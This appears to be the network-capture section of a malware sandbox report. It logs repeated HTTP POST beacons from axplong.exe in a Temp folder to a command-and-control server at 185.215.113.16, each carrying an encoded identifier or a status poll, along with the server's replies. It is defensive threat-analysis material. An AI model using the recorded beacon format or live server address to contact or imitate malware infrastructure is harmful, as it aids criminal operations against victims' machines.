Oct 29, 2024 05:03:56.410506964 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:57.326783895 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	50081	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:57.448993921 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:03:58.345190048 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50082	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:58.355333090 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:03:59.290133953 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:03:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50083	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:59.404428959 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50084	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:03:59.417853117 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:00.339116096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50085	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:00.545356035 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:01.372438908 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50086	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:01.385744095 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:02.334606886 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50087	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:02.447935104 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:03.378453016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50088	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:03.387238979 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:04.291414976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50089	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:04.416474104 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:05.323435068 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50090	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:05.332686901 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:06.248065948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50091	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:06.369401932 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:07.288634062 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50092	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:07.301289082 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:08.214097977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50093	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:08.339065075 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:09.261060953 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50094	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:09.270644903 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:10.203783035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50095	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:10.325228930 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:11.247400999 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50096	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:11.256509066 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:12.172985077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	50097	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:12.292684078 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:13.195296049 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	50098	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:13.206271887 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:14.106982946 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	50099	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:14.230618954 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:15.140938997 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	50100	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:15.152174950 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	50101	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:15.279081106 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:16.194417000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	50102	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:16.205555916 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:17.119205952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	50103	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:17.251219988 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
